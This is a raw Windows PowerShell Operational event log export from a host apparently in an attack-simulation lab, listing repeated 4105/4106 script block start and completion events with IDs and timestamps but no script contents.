SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033257
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033235
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033234
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033233
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033232
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033215
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033209
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
